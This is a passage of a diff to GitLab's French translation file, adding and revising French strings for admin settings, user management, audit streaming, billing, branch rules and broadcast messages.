msgstr "Définir un modèle CI/CD comme configuration requise de pipeline pour tous les projets de l'instance. La configuration CI/CD du projet fusionne avec la configuration requise de pipeline lorsque le pipeline est exécuté. %{link_start}Qu'est-ce-qu'une configuration requise de pipeline ?%{link_end}"
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "Définir la limite à 0 pour la désactiver."
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr "Définit la durée avant expiration des jetons d'authentification des exécuteurs de groupe nouvellement enregistrés."
@@ -3014,10 +3047,10 @@ msgid "AdminSettings|Set the initial name and protections for the default branch
msgstr "Définissez le nom initial et les protections de la branche par défaut des nouveaux dépôts créés dans l'instance."
msgid "AdminSettings|Set the maximum number of GitLab Pages custom domains per project (0 for unlimited). %{link_start}Learn more.%{link_end}"
-msgstr "Définir le nombre maximal de domaines Pages GitLab personnalisés par projet (0 pour illimité). %{link_start}En savoir plus.%{link_end}"
+msgstr "Définir le nombre maximal de domaines GitLab Pages personnalisés par projet (0 pour illimité). %{link_start}En savoir plus.%{link_end}"
msgid "AdminSettings|Set the maximum size of GitLab Pages per project (0 for unlimited). %{link_start}Learn more.%{link_end}"
-msgstr "Définir la taille maximale des Pages GitLab par projet (0 pour illimitée). %{link_start}En savoir plus.%{link_end}"
+msgstr "Définir la taille maximale de GitLab Pages par projet (0 pour illimitée). %{link_start}En savoir plus.%{link_end}"
msgid "AdminSettings|Setting must be greater than 0."
msgstr "Le paramètre doit être supérieur à 0."
@@ -3046,6 +3079,9 @@ msgstr "Le modèle pour la configuration requise du pipeline peut être un de ce
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr "Il y a des migrations de Recherche Avancée en attente qui nécessitent une mise en pause de l'indexation. Elle doit rester en pause jusqu'à ce que GitLab termine les migrations."
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr "Cette limite ne peut pas être désactivée. Définir sur 0 pour bloquer toutes les dépendances des DAG."
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr "Pour activer les fonctionnalités payantes, activez d'abord le partage de données d'usage."
@@ -3203,7 +3239,7 @@ msgid "AdminUsers|Banned"
msgstr "Banni"
msgid "AdminUsers|Be added to groups and projects"
-msgstr ""
+msgstr "Être ajouté aux groupes et aux projets"
msgid "AdminUsers|Block"
msgstr "Bloquer"
@@ -3292,8 +3328,8 @@ msgstr "Informations importantes sur l’utilisation de votre instance GitLab"
msgid "AdminUsers|Is using seat"
msgstr "Utilise un siège"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
-msgstr "Les tickets rédigés par cet utilisateur sont cachés aux autres utilisateurs."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr "Les tickets et les demandes de fusion écrits par cet utilisateur sont cachés aux autres utilisateurs."
msgid "AdminUsers|It's you!"
msgstr "C'est vous !"
@@ -3326,17 +3362,20 @@ msgid "AdminUsers|No users found"
msgstr "Aucun utilisateur trouvé"
msgid "AdminUsers|Owned groups will be left"
-msgstr ""
+msgstr "Les groupes qu'il possède seront laissés"
msgid "AdminUsers|Pending approval"
msgstr "En attente d'approbation"
msgid "AdminUsers|Personal projects will be left"
-msgstr ""
+msgstr "Les projets personnels seront laissés"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr "Profil privé"
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "Quota de minutes CI/CD"
@@ -3593,7 +3632,10 @@ msgid "After it expires, you can't use merge approvals, epics, or many other fea
msgstr "Après son expiration, vous ne pouvez pas utiliser les approbations de fusion, les épopées ou de nombreuses autres fonctionnalités."
msgid "After it expires, you can't use merge approvals, epics, or many security features."
-msgstr ""
+msgstr "Après son expiration, vous ne pouvez pas utiliser les approbations de fusion, les épopées ni de nombreuses fonctionnalités de sécurité."
+
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr "Une fois l'intégration Apple App Store Connect activée, les variables protégées suivantes seront créées pour être utilisées avec CI/CD."
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr "Une fois l'exportation terminée, téléchargez le fichier de données depuis le courriel de notification ou depuis cette page. Vous pourrez ensuite l'importer sur la page %{strong_text_start}Créer un nouveau groupe%{strong_text_end} d'une autre instance GitLab."
@@ -3758,7 +3800,7 @@ msgid "AlertManagement|View incident"
msgstr "Voir l'incident"
msgid "AlertMappingBuilder|Define fallback"
-msgstr "Définir une solution par défaut"
+msgstr "Définir un champ par défaut"
msgid "AlertMappingBuilder|GitLab alert key"
msgstr "Clé d’alerte GitLab"
@@ -4031,7 +4073,7 @@ msgid "All users must have a name."
msgstr "Tous les utilisateurs doivent avoir un nom."
msgid "All users with matching cards"
-msgstr ""
+msgstr "Tous les utilisateurs avec les cartes correspondantes"
msgid "Allow %{strongOpen}%{group_name}%{strongClose} to sign you in?"
msgstr "Autoriser %{strongOpen}%{group_name}%{strongClose} pour vous connecter ?"
@@ -4163,7 +4205,7 @@ msgid "An Administrator has set the maximum expiration date to %{maxDate}. %{hel
msgstr "Un administrateur a défini la date d'expiration maximale au %{maxDate}. %{helpLinkStart}En savoir plus%{helpLinkEnd}."
msgid "An Enterprise User GitLab account has been created for you by your organization:"
-msgstr ""
+msgstr "Un compte GitLab d'Utilisateur d'Entreprise vous a été créé par votre entreprise :"
msgid "An administrator changed the password for your GitLab account on %{link_to}."
msgstr "Un administrateur a modifié le mot de passe de votre compte GitLab sur %{link_to}."
@@ -4190,7 +4232,7 @@ msgid "An error has occurred"
msgstr "Une erreur est survenue"
msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
-msgstr ""
+msgstr "Une erreur de rapport dans lequel un résultat de test indique de manière erronée la présence d'une vulnérabilité système alors que celle-ci n'existe pas."
msgid "An error occurred adding a draft to the thread."
msgstr "Une erreur s'est produite lors de l'ajout d'un brouillon au fil de conversation."
@@ -4220,7 +4262,7 @@ msgid "An error occurred previewing the blob"
msgstr "Une erreur s’est produite lors de la prévisualisation du blob"
msgid "An error occurred when loading the user verification challenge. Refresh to try again."
-msgstr ""
+msgstr "Une erreur s'est produite lors du chargement du défi de vérification de l'utilisateur. Actualisez pour réessayer."
msgid "An error occurred when updating the title"
msgstr "Une erreur s'est produite lors de la mise à jour du titre"
@@ -4237,9 +4279,6 @@ msgstr "Une erreur s'est produite lors de l'ajout à l'épopée d'un titre forma
msgid "An error occurred while approving, please try again."
msgstr "Une erreur s'est produite lors de l'approbation, veuillez réessayer."
-msgid "An error occurred while authorizing your role"
-msgstr "Une erreur s'est produite lors de l'autorisation de votre rôle"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "Une erreur s'est produite lors de la vérification du chemin d'accès au groupe. Veuillez actualiser et réessayer."
@@ -4408,15 +4447,6 @@ msgstr "Une erreur s'est produite lors du chargement des demandes de fusion."
msgid "An error occurred while loading projects."
msgstr "Une erreur s’est produite lors du chargement des projets."
-msgid "An error occurred while loading the Jobs tab."
-msgstr "Une erreur s'est produite lors du chargement de l'onglet des Tâches."
-
-msgid "An error occurred while loading the Needs tab."
-msgstr "Une erreur s'est produite lors du chargement de l'onglet Besoins."
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "Une erreur s'est produite lors du chargement de l'onglet des Rapports de Tests."
-
msgid "An error occurred while loading the blob controls."
msgstr "Une erreur s'est produite lors du chargement du contrôle du BLOB (Binary large object)"
@@ -4450,9 +4480,6 @@ msgstr "Une erreur s'est produite lors du chargement de la demande de fusion."
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "Une erreur s'est produite lors du chargement des paramètres de notification. Veuillez réessayer."
-msgid "An error occurred while loading the pipeline."
-msgstr "Une erreur s’est produite lors du chargement du pipeline."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "Une erreur s'est produite lors du chargement des tâches des pipelines."
@@ -4663,7 +4690,7 @@ msgid "Any"
msgstr "Tout"
msgid "Any %{header}"
-msgstr ""
+msgstr "Tout(e) %{header}"
msgid "Any Author"
msgstr "N'importe quel auteur"
@@ -4687,7 +4714,7 @@ msgid "Any namespace"
msgstr "Tout espace de noms"
msgid "App ID"
-msgstr ""
+msgstr "ID de l'appli"
msgid "Appearance"
msgstr "Apparence"
@@ -4704,6 +4731,18 @@ msgstr "Ajouter %{shrug} dans le commentaire"
msgid "Append the comment with %{tableflip}"
msgstr "Ajouter %{tableflip} dans le commentaire"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr "L'ID d'émetteur Apple App Store Connect."
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr "L'ID de clé Apple App Store Connect."
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr "La clé privée Apple App Store Connect."
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr "Utiliser GitLab pour construire et publier une app dans l'App Store d'Apple."
+
msgid "Application"
msgstr "Application"
@@ -4732,7 +4771,7 @@ msgid "Application: %{name}"
msgstr "Application : %{name}"
msgid "ApplicationSettings|A Metrics Dashboard menu item appears in the Monitoring section of the Admin Area."
-msgstr "Un élément de menu Tableau de bord des métriques apparaît dans la section Surveillance de la zone d'administration."
+msgstr "Un élément de menu Tableau de bord des métriques apparaît dans la section Supervision de l'Espace d'Administration."
msgid "ApplicationSettings|Add a link to Grafana"
msgstr "Ajouter un lien vers Grafana"
@@ -4846,9 +4885,6 @@ msgstr "Voir la %{linkStart}stratégie des mots de passe%{linkEnd}."
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr "Envoyer un courriel de confirmation lors de l'inscription. Les nouveaux utilisateurs doivent confirmer leur adresse de courriel avant de pouvoir se connecter."
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr "Envoyer un courriel de confirmation lors de l'inscription"
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr "Inscription activée"
@@ -4912,13 +4948,13 @@ msgid "Apply suggestion"
msgstr "Appliquer la suggestion"
msgid "Apply template"
-msgstr ""
+msgstr "Appliquer un modèle"
msgid "Apply this approval rule to all branches or a specific protected branch."
msgstr "Appliquer cette règle d'approbation à toutes les branches ou à une branche protégée spécifique."
msgid "Applying"
-msgstr ""
+msgstr "Application en cours"
msgid "Applying a template will replace the existing issue description. Any changes you have made will be lost."
msgstr "L'application d'un modèle remplacera la description existante du ticket. Tout les modifications que vous avez apportées seront perdues."
@@ -4927,7 +4963,7 @@ msgid "Applying command"
msgstr "Application de la commande"
msgid "Applying command to %{commandDescription}"
-msgstr ""
+msgstr "Application de la commande pour %{commandDescription}"
msgid "Applying multiple commands"
msgstr "Application de plusieurs commandes"
@@ -4938,6 +4974,9 @@ msgstr "Application de la suggestion..."
msgid "Applying suggestions..."
msgstr "Application des suggestions..."
+msgid "Approval options"
+msgstr "Options d'approbation"
+
msgid "Approval rules"
msgstr "Règles d'approbation"
@@ -4995,7 +5034,7 @@ msgid "ApprovalRule|Examples: QA, Security."
msgstr "Exemples : QA, Sécurité."
msgid "ApprovalRule|Improve your organization's code review with required approvals."
-msgstr "Améliorez la révision du code de votre organisation avec les approbations requises."
+msgstr "Améliorez la revue de code de votre organisation avec les approbations requises."
msgid "ApprovalRule|Increase quality and maintain standards."
msgstr "Augmenter la qualité et maintenir les normes."
@@ -5078,6 +5117,9 @@ msgstr "Lorsqu'un commit est ajouté :"
msgid "Approvals are optional."
msgstr "Les approbations sont facultatives."
+msgid "Approvals required"
+msgstr "Approbations requises"
+
msgid "Approvals|Section: %section"
msgstr "Section : %section"
@@ -5124,7 +5166,7 @@ msgid "Architecture not found for OS"
msgstr "Architecture introuvable pour le système d'exploitation"
msgid "Archive"
-msgstr ""
+msgstr "Archiver"
msgid "Archive jobs"
msgstr "Archiver les tâches"
@@ -5142,7 +5184,7 @@ msgid "Archived (%{movedToStart}moved%{movedToEnd})"
msgstr "Archivé (%{movedToStart}déplacé%{movedToEnd})"
msgid "Archived in this version"
-msgstr ""
+msgstr "Archivée dans cette version"
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Projet archivé ! Le dépôt et les autres ressources du projet sont en lecture seule"
@@ -5312,7 +5354,7 @@ msgid "Are you sure you want to unlock this directory?"
msgstr "Êtes-vous sûr(e) de vouloir déverrouiller ce répertoire ?"
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
-msgstr ""
+msgstr "Êtes-vous sûr(e) de vouloir vous désabonner de ce %{type} : %{link_to_noteable_text} ?"
msgid "Are you sure?"
msgstr "Êtesâ€vous certain(e) ?"
@@ -5327,7 +5369,7 @@ msgid "Are you sure? The device will be signed out of GitLab and all remember me
msgstr "Êtes-vous sûr(e) ? L'appareil sera déconnecté de GitLab et tous les jetons « se souvenir de moi » seront révoqués."
msgid "Arrange charts"
-msgstr ""
+msgstr "Organiser les graphiques"
msgid "Artifact"
msgstr "Artéfact"
@@ -5360,7 +5402,7 @@ msgid "Artifacts|Delete artifact"
msgstr "Supprimer l'artéfact"
msgid "Artifacts|This artifact will be permanently deleted. Any reports generated from this artifact will be empty."
-msgstr ""
+msgstr "Cet artéfact sera définitivement supprimé. Tous les rapports générés à partir de cet artéfact seront vides."
msgid "Artifacts|Total artifacts size"
msgstr "Taille totale des artéfacts"
@@ -5387,7 +5429,7 @@ msgid "Ask again later"
msgstr "Redemander plus tard"
msgid "Ask someone with write access to resolve it."
-msgstr ""
+msgstr "Demandez à quelqu'un qui possède un accès en écriture de le résoudre."
msgid "Ask your group owner to set up a group runner."
msgstr "Demandez au propriétaire de votre groupe la mise en place d'un exécuteur de groupe."
@@ -5523,7 +5565,7 @@ msgid "Attaching the file failed."
msgstr "L'ajout du fichier en pièce-jointe a échoué."
msgid "Attempted sign in to %{host} using a wrong two-factor authentication code"
-msgstr ""
+msgstr "Tentative de connexion à %{host} en utilisant un code d'authentification à deux facteurs erroné"
msgid "Audit Events"
msgstr "Événements d’audit"
@@ -5629,6 +5671,9 @@ msgstr "Annuler l'édition"
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr "En-têtes HTTP personnalisés (facultatif)"
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr "Définit les événements de flux qui sont capturés"
+
msgid "AuditStreams|Delete %{link}"
msgstr "Supprimer %{link}"
@@ -5636,7 +5681,7 @@ msgid "AuditStreams|Destination URL"
msgstr "URL de destination"
msgid "AuditStreams|Destination has filters applied. %{linkStart}What are filters?%{linkEnd}"
-msgstr ""
+msgstr "Des filtres sont appliqués à la destination. %{linkStart}Que sont les filtres ?%{linkEnd}"
msgid "AuditStreams|Destinations receive all audit event data"
msgstr "Les destinations reçoivent toutes les données des événements d'audit"
@@ -5644,12 +5689,18 @@ msgstr "Les destinations reçoivent toutes les données des événements d'audit
msgid "AuditStreams|Edit %{link}"
msgstr "Modifier %{link}"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr "Filtrage des événements (facultatif)"
+
msgid "AuditStreams|Header"
msgstr "En-tête"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "Le maximum de %{number} en-têtes HTTP a été atteint."
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr "Aucun filtre disponible. %{linkStart}Comment puis-je ajouter un filtre ?%{linkEnd}"
+
msgid "AuditStreams|Remove custom header"
msgstr "Supprimer l'en-tête personnalisé"
@@ -5684,7 +5735,7 @@ msgid "AuditStreams|Verification token"
msgstr "Jeton de vérification"
msgid "AuditStreams|filtered"
-msgstr ""
+msgstr "filtré"
msgid "Aug"
msgstr "août"
@@ -5786,7 +5837,7 @@ msgid "Authorize %{user} to use your account?"
msgstr "Autoriser %{user} à utiliser votre compte ?"
msgid "Authorized %{new_chat_name}"
-msgstr ""
+msgstr "%{new_chat_name} autorisé"
msgid "Authorized At"
msgstr "Autorisé à"
@@ -5879,7 +5930,7 @@ msgid "Autocomplete hint"
msgstr "Indice de l'auto-complétion"
msgid "Autocomplete usage hint"
-msgstr ""
+msgstr "Indice pour l'utilisation de l'auto-complétion"
msgid "Automatic certificate management using %{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end}"
msgstr "Gestion automatique des certificats à l'aide de %{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end}"
@@ -5894,10 +5945,10 @@ msgid "Automatic event tracking provides a traceable history for audits."
msgstr "Le suivi automatique des événements fournit un historique traçable pour les audits."
msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
-msgstr "Fermer automatiquement l'incident associé lorsqu'une notification d'alerte pour récupération résoud une alerte"
+msgstr "Fermer automatiquement l'incident associé lorsqu'une notification d'alerte pour récupération résout une alerte"
msgid "Automatically resolved"
-msgstr ""
+msgstr "Résolue automatiquement"
msgid "Automatically update this project's branches and tags from the upstream repository."
msgstr "Mettre à jour automatiquement les branches et les étiquettes de ce projet à partir du dépôt amont."
@@ -5909,7 +5960,7 @@ msgid "Available"
msgstr "Disponible"
msgid "Available ID"
-msgstr "Disponibilité de l'ID"
+msgstr "ID disponible"
msgid "Available group runners: %{runners}"
msgstr "Exécuteurs de groupe disponibles : %{runners}"
@@ -5975,10 +6026,10 @@ msgid "BackgroundMigrations|Failed jobs:"
msgstr "Tâches en échec :"
msgid "BackgroundMigrations|Finished at"
-msgstr ""
+msgstr "Terminé à"
msgid "BackgroundMigrations|Started at"
-msgstr ""
+msgstr "Commencé à"
msgid "Badges"
msgstr "Badges numériques"
@@ -6110,28 +6161,28 @@ msgid "BatchedJob|Batch size"
msgstr "Taille du lot"
msgid "BatchedJob|Batched Jobs"
-msgstr ""
+msgstr "Tâches par lots"
msgid "BatchedJob|Created At"
-msgstr ""
+msgstr "Créé le"
msgid "BatchedJob|Created at"
-msgstr ""
+msgstr "Créé le"
msgid "BatchedJob|Exception Class"
-msgstr ""
+msgstr "Classe de l'exception"
msgid "BatchedJob|Exception Message"
-msgstr ""
+msgstr "Message de l'exception"
msgid "BatchedJob|Exception class"
-msgstr ""
+msgstr "Classe de l'exception"
msgid "BatchedJob|Exception message"
-msgstr ""
+msgstr "Message de l’exception"
msgid "BatchedJob|Finished at"
-msgstr ""
+msgstr "Terminé à"
msgid "BatchedJob|Max Value"
msgstr "Valeur Max"
@@ -6188,7 +6239,7 @@ msgid "Before inserting code, be sure to read the comment that separated each co
msgstr "Avant d'insérer du code, assurez-vous d'avoir lu le commentaire qui sépare chaque groupe de code."
msgid "Before this can be merged, a Jira issue must be linked in the title or description"
-msgstr ""
+msgstr "Avant que ceci ne puisse être fusionné, un ticket Jira doit y être relié depuis le titre ou la description."
msgid "Begin with the selected commit"
msgstr "Commencer avec le commit sélectionné"
@@ -6311,7 +6362,7 @@ msgid "BillingPlans|Not the group you're looking for? %{all_groups_link}."
msgstr "Ce n'est pas le groupe que vous recherchez ? %{all_groups_link}."
msgid "BillingPlans|Open Source - MIT License"
-msgstr ""
+msgstr "Libre - Licence MIT"
msgid "BillingPlans|Organization wide security, compliance and planning"
msgstr "Sécurité, conformité et planification à l'échelle de l'organisation"
@@ -6323,19 +6374,19 @@ msgid "BillingPlans|Premium"
msgstr "Premium"
msgid "BillingPlans|Pricing page"
-msgstr ""
+msgstr "page Tarification"
msgid "BillingPlans|Ready to explore the value of the paid features today? Start a trial, no credit card required."
msgstr "Prêt à découvrir la valeur des fonctionnalités payantes aujourd'hui ? Commencez une période d'essai, aucune carte de crédit n'est nécessaire."
msgid "BillingPlans|Recommended"
-msgstr ""
+msgstr "Recommandé"
msgid "BillingPlans|Release controls"
-msgstr ""
+msgstr "Contrôles de publication"
msgid "BillingPlans|Security risk mitigation"
-msgstr ""
+msgstr "Gestion des risques liés à la sécurité"
msgid "BillingPlans|See all %{plan_name} features"
msgstr "Afficher toutes les caractéristiques de %{plan_name}"
@@ -6356,7 +6407,7 @@ msgid "BillingPlans|Support"
msgstr "Support"
msgid "BillingPlans|Talk to an expert today."
-msgstr ""
+msgstr "Parlez à un expert dès aujourd'hui."
msgid "BillingPlans|This group uses the plan associated with its parent group."
msgstr "Ce groupe utilise le forfait associé à son groupe parent."
@@ -6392,7 +6443,7 @@ msgid "BillingPlans|Your GitLab.com %{plan} trial will %{strong_open}expire afte
msgstr "Votre essai de GitLab.com %{plan} va %{strong_open}expirer après %{expiration_date}%{strong_close}. Vous pouvez conserver l'accès aux fonctionnalités %{plan} en faisant la mise à niveau ci-dessous."
msgid "BillingPlans|Your GitLab.com trial expired on %{expiration_date}. You can restore access to the features at any time by upgrading below."
-msgstr ""
+msgstr "Votre période d'essai de GitLab.com a expiré le %{expiration_date}. Vous pouvez restaurer l'accès aux fonctionnalités à tout moment en faisant un mise à niveau ci-dessous."
msgid "BillingPlans|Your current plan"
msgstr "Votre forfait actuel"
@@ -6473,7 +6524,7 @@ msgid "Billings|To use free CI/CD minutes on shared runners, you’ll need to va
msgstr "Pour utiliser des minutes CI/CD gratuites sur des exécuteurs partagés, vous devrez valider votre compte avec une carte de crédit. Ceci est nécessaire pour décourager et réduire les abus sur l'infrastructure de GitLab. %{strongStart}GitLab ne débitera pas votre carte, elle ne sera utilisée qu'à des fins de validation.%{strongEnd}"
msgid "Billings|User validation required"
-msgstr ""
+msgstr "Validation de l'utilisateur requise"
msgid "Billings|Validate account"
msgstr "Valider le compte"
@@ -6515,7 +6566,7 @@ msgid "Billing|An error occurred while removing a billable member."
msgstr "Une erreur s'est produite lors de la suppression d'un membre facturable."
msgid "Billing|Awaiting member signup"
-msgstr ""
+msgstr "En attente de l'inscription du membre"
msgid "Billing|Cannot remove user"
msgstr "Impossible de supprimer l'utilisateur"
@@ -6533,7 +6584,7 @@ msgid "Billing|Export list"
msgstr "Exporter la liste"
msgid "Billing|Group invite"
-msgstr ""
+msgstr "Invitation de groupe"
msgid "Billing|Groups in the Free tier are limited to %d seat"
msgid_plural "Billing|Groups in the Free tier are limited to %d seats"
@@ -6550,7 +6601,7 @@ msgid "Billing|Private"
msgstr "Privé"
msgid "Billing|Project invite"
-msgstr ""
+msgstr "Invitation au projet"
msgid "Billing|Remove user %{username} from your subscription"
msgstr "Supprimer l'utilisateur %{username} de votre abonnement"
@@ -6589,7 +6640,7 @@ msgid "Bitbucket import"
msgstr "Importation de Bitbucket"
msgid "Blame"
-msgstr "Examiner"
+msgstr "Inspecter"
msgid "BlobViewer|View on %{environmentName}"
msgstr "Voir sur %{environmentName}"
@@ -6723,7 +6774,7 @@ msgid "BoardScope|Select assignee"
msgstr "Sélectionner une personne assignée"
msgid "BoardScope|Select iteration"
-msgstr ""
+msgstr "Sélectionnez une itération"
msgid "BoardScope|Select labels"
msgstr "Sélectionner des étiquettes"
@@ -6841,7 +6892,7 @@ msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr "Récupération des %{issuableType}s bloquant(e)s"
msgid "Boards|View all blocking %{issuableType}s"
-msgstr ""
+msgstr "Voir l'ensemble des %{issuableType}s bloquant(e)s"
msgid "Boards|View scope"
msgstr "Voir la portée"
@@ -6928,7 +6979,7 @@ msgid "Branch not loaded - %{branchId}"
msgstr "Branche non chargée - %{branchId}"
msgid "Branch rules"
-msgstr ""
+msgstr "Règles des branches"
msgid "BranchRules|%{linkStart}Wildcards%{linkEnd} such as *-stable or production/ are supported"
msgstr "Les %{linkStart}caractères génériques%{linkEnd} tels que *-stable ou production/ sont pris en charge"
@@ -6937,13 +6988,13 @@ msgid "BranchRules|%{linkStart}Wildcards%{linkEnd} such as *-stable or productio
msgstr "Les %{linkStart}caractères génériques%{linkEnd} tels que *-stable ou production/* sont pris en charge."
msgid "BranchRules|%{total} approval %{subject}"
-msgstr ""
+msgstr "%{total} %{subject} d'approbation"
msgid "BranchRules|%{total} matching %{subject}"
-msgstr ""
+msgstr "%{total} %{subject} correspondante(s)"
msgid "BranchRules|%{total} status %{subject}"
-msgstr ""
+msgstr "%{total} %{subject} d'état"
msgid "BranchRules|All branches"
msgstr "Toutes les branches"
@@ -6988,7 +7039,7 @@ msgid "BranchRules|Branch rules details"
msgstr "Détails des règles de branche"
msgid "BranchRules|Check for a status response in merge requests. Failures do not block merges. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "Vérifier l'état d'une réponse dans les demandes de fusion. Les échecs ne bloquent pas les fusions. %{linkStart}En savoir plus.%{linkEnd}"
msgid "BranchRules|Create wildcard: %{searchTerm}"
msgstr "Créer un joker : %{searchTerm}"
@@ -7093,7 +7144,7 @@ msgid "Branches|Compare"
msgstr "Comparer"
msgid "Branches|Delete all branches that are merged into '%{defaultBranch}'"
-msgstr ""
+msgstr "Supprimer toutes les branches qui ont été fusionnées dans « %{defaultBranch} »"
msgid "Branches|Delete all merged branches?"
msgstr "Supprimer toutes les branches fusionnées ?"
@@ -7174,7 +7225,7 @@ msgid "Branches|This branch hasn't been merged into %{defaultBranchName}. To avo
msgstr "Cette branche n'a pas été fusionnée dans %{defaultBranchName}. Pour éviter la perte de données, envisagez de la fusionner avant de la supprimer."
msgid "Branches|This bulk action is %{strongStart}permanent and cannot be undone or recovered%{strongEnd}."
-msgstr ""
+msgstr "Cette action groupée est %{strongStart}permanente et toute annulation ou restauration est impossible%{strongEnd}."
msgid "Branches|This may include merged branches that are not visible on the current screen."
msgstr "Cela peut inclure des branches fusionnées qui ne sont pas visibles sur l’écran actuel."
@@ -7210,7 +7261,7 @@ msgid "Branches|protected"
msgstr "protégée"
msgid "Breadcrumbs"
-msgstr ""
+msgstr "Fil d'Ariane"
msgid "Broadcast Message was successfully created."
msgstr "Le message de diffusion a été créé avec succès."
@@ -7221,9 +7272,93 @@ msgstr "Le message de diffusion a été mis à jour avec succès."
msgid "Broadcast Messages"
msgstr "Messages de diffusion"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr "Ajouter un message de diffusion"
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr "Autoriser les utilisateurs à rejeter le message de diffusion"
+
+msgid "BroadcastMessages|Banner"
+msgstr "Bannière"
+
+msgid "BroadcastMessages|Blue"
+msgstr "Bleu"
+
+msgid "BroadcastMessages|Dark"
+msgstr "Sombre"
+
+msgid "BroadcastMessages|Dismissable"
+msgstr "Fermable"
+
+msgid "BroadcastMessages|Ends at"
+msgstr "Se termine à"
+
+msgid "BroadcastMessages|Green"
+msgstr "Vert"
+
+msgid "BroadcastMessages|Indigo"
+msgstr "Indigo"
+
+msgid "BroadcastMessages|Light"
+msgstr "Clair"
+
+msgid "BroadcastMessages|Light Blue"
+msgstr "Bleu clair"
+
+msgid "BroadcastMessages|Light Green"
+msgstr "Vert clair"
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr "Indigo clair"
+
+msgid "BroadcastMessages|Light Red"
+msgstr "Rouge clair"
+
+msgid "BroadcastMessages|Message"
+msgstr "Message"
+
+msgid "BroadcastMessages|Notification"
+msgstr "Notification"
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr "Les chemins peuvent contenir des caractères génériques, comme */bienvenue"
+
+msgid "BroadcastMessages|Red"
+msgstr "Rouge"
+
+msgid "BroadcastMessages|Starts at"
+msgstr "Démarre à"
+
+msgid "BroadcastMessages|Target Path"
+msgstr "Chemin cible"
+
+msgid "BroadcastMessages|Target roles"
+msgstr "Rôles cibles"
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr "Le message de diffusion ne s'affiche que pour les utilisateurs des projets et des groupes qui ont ces rôles."
+
+msgid "BroadcastMessages|Theme"
+msgstr "Thème"
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr "Une erreur s'est produite lors de l'ajout du message de diffusion."
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr "Une erreur s'est produite lors de la mise à jour du message de diffusion."
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr "Une erreur s'est produite lors de la suppression de ce message, veuillez réessayer plus tard."
+msgid "BroadcastMessages|Type"
+msgstr "Type"
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr "Mettre à jour le message de diffusion"
+
+msgid "BroadcastMessages|Your message here"
+msgstr "Votre message ici"
+
msgid "Browse Directory"
msgstr "Parcourir le dossier"
@@ -7258,7 +7393,7 @@ msgid "Bulk request concurrency"
msgstr "Concurrence des requêtes en bloc"
msgid "Bulk update"
-msgstr ""
+msgstr "Mise à jour groupée"
msgid "BulkImport| %{host} is running outdated GitLab version (v%{version})"
msgstr "%{host} fait tourner une ancienne version de GitLab (v%{version})"
@@ -7303,7 +7438,7 @@ msgid "BulkImport|Importing the group failed."
msgstr "L'importation du groupe a échoué."
msgid "BulkImport|Last imported to %{link}"
-msgstr ""
+msgstr "Dernière importation vers %{link}"
msgid "BulkImport|Name already exists."
msgstr "Le nom existe déjà."
@@ -7357,7 +7492,7 @@ msgid "BulkImport|Template / File-based import / GitLab Migration"
msgstr "Modèle / Importation de fichier / Migration GitLab"
msgid "BulkImport|Update of import statuses with realtime changes failed"
-msgstr ""
+msgstr "La mise à jour des états d'importation avec des modifications en temps réel a échoué"
msgid "BulkImport|Your imported groups will appear here."
msgstr "Vos groupes importés apparaîtront ici."
@@ -7366,7 +7501,7 @@ msgid "BulkImport|Your imported projects will appear here."
msgstr "Vos projets importés apparaîtront ici."
msgid "BulkImport|expected an associated Group but has an associated Project"
-msgstr ""
+msgstr "attendait un Groupe associé mais a un Projet associé"
msgid "BulkImport|expected an associated Project but has an associated Group"
msgstr "possède un Groupe associé alors que c'est un Projet qui était attendu"
